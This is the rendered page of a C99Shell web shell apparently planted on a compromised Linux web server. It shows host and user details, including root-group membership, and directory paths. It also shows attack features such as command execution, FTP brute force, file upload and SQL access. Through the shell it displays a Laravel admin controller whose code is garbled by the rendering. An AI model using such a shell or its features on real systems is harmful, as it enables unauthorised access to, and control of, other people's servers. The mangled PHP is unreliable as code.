!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/game.picotech.app/public_html/core/app/Http/Controllers/Back/   drwxr-xr-x
Free 29.22 GB of 117.98 GB (24.77%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     AttributeController.php (2.89 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Back;

use 
App\{
    
Models\Item,
    
Models\Attribute,
    
Helpers\AttributeHelper,
    
Http\Controllers\Controller,
    
Http\Requests\AttributeRequest
};

class 
AttributeController extends Controller
{
    
/**
     * Constructor Method.
     *
     * Setting Authentication
     */
    
public function __construct()
    {
        
$this->middleware('auth:admin');
        
$this->middleware('adminlocalize');
    }

    
/**
     * Display a listing of the resource.
     *
     * @return \Illuminate\Http\Response
     */
    
public function index(Item $item)
    {
        
// return view('back.item.attribute.index',[
        //     'item'  => $item,
        //     'datas' => $item->attributes()->orderBy('id','desc')->get()
        // ]);
        // $item_attributes = get_attributes();
        
$item_attributes AttributeHelper::get_attributes();
        
// foreach ($item_attributes as $item) {
        //     $item->name = AttributeHelper::translate_to_italian($item->name);
        // }
        
return view('back.item.attribute.index',[
            
'item'  => $item,
            
'datas' => $item_attributes]);
    }

    
/**
     * Show the form for creating a new resource.
     *
     * @return \Illuminate\Http\Response
     */
    
public function create(Item $item)
    {
        return 
view('back.item.attribute.create',compact('item'));
    }

    
/**
     * Store a newly created resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return \Illuminate\Http\Response
     */
    
public function store(AttributeRequest $requestItem $item)
    {
        
Attribute::create($request->all());
        return 
redirect()->route('back.attribute.index',$item->id)->withSuccess(__('New Attribute Added Successfully.'));
    }

    
/**
     * Show the form for editing the specified resource.
     *
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    
public function edit(Item $itemAttribute $attribute)
    {
        return 
view('back.item.attribute.edit',compact('item','attribute'));
    }


    
/**
     * Update the specified resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    
public function update(AttributeRequest $requestItem $itemAttribute $attribute)
    {
        
$attribute->update($request->all());
        return 
redirect()->route('back.attribute.index',$item->id)->withSuccess(__('Attribute Updated Successfully.'));
    }

    
/**
     * Remove the specified resource from storage.
     *
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    
public function destroy(Item $itemAttribute $attribute)
    {
        
$attribute->options()->delete();
        
$attribute->delete();
        return 
redirect()->route('back.attribute.index',$item->id)->withSuccess(__('Attribute Deleted Successfully.'));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0035 ]--